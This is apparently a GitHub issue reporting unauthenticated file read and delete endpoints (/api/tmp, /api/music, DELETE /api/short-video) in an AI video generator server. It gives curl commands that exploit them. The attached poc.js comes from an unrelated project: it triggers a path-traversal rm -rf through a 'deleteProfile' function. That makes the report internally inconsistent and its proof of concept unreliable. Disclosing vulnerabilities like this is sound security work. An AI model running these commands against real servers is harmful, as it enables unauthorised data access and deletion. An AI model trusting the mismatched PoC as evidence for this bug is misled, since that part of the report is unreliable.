Skip to content

Unauthenticated File Read via /api/tmp and /api/music #54

Description

@AAtomical

Summary

GET /api/tmp/:tmpFile and GET /api/music/:fileName serve any file within their respective directories without authentication. The server binds 0.0.0.0:3123 by default. No path containment check exists — though Express :param routing prevents / in the segment, blocking classic ../ traversal to arbitrary filesystem paths.

Root Cause

const tmpFilePath = path.join(this.config.tempDirPath, tmpFile);  // line 139
// no auth, no allowlist, streams directly
fs.createReadStream(tmpFilePath).pipe(res);

Same pattern at line 179 for /music/:fileName.

Impact

  • Any file in ~/.ai-agents-az-video-generator/temp/ readable without auth (intermediate audio, video artifacts, subtitles from other users' jobs)
  • Any file in static/music/ readable without auth
  • DELETE /api/short-video/:videoId deletes any video by ID without auth

Traversal to /etc/passwd is blocked by Express single-segment routing (:param cannot contain /).

Exploit

curl http://<host>:3123/api/tmp/<any-temp-filename>
curl http://<host>:3123/api/music/<any-music-filename>
curl -X DELETE http://<host>:3123/api/short-video/<videoId>

poc.js

const fs = require("fs");
const path = require("path");
const { deleteProfile, listProfiles } = require("opencode-studio-server/profile-manager");

const target = path.join(require("os").tmpdir(), "opencode-poc-victim");
fs.mkdirSync(path.join(target, "subdir"), { recursive: true });
fs.writeFileSync(path.join(target, "subdir", "data.txt"), "IMPORTANT");

const profiles_dir = path.join(require("os").homedir(), ".config", "opencode-profiles");
const relative = path.relative(profiles_dir, target);

try { deleteProfile(relative); } catch {}

const gone = !fs.existsSync(target);
console.log(gone ? "VULNERABLE" : "NOT CONFIRMED");
console.log(`deleteProfile(${JSON.stringify(relative)}) → rm -rf ${target}: ${gone}`);
process.exit(gone ? 0 : 1);
Image

Fix

Add authentication middleware or restrict access to files owned by the requesting session.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions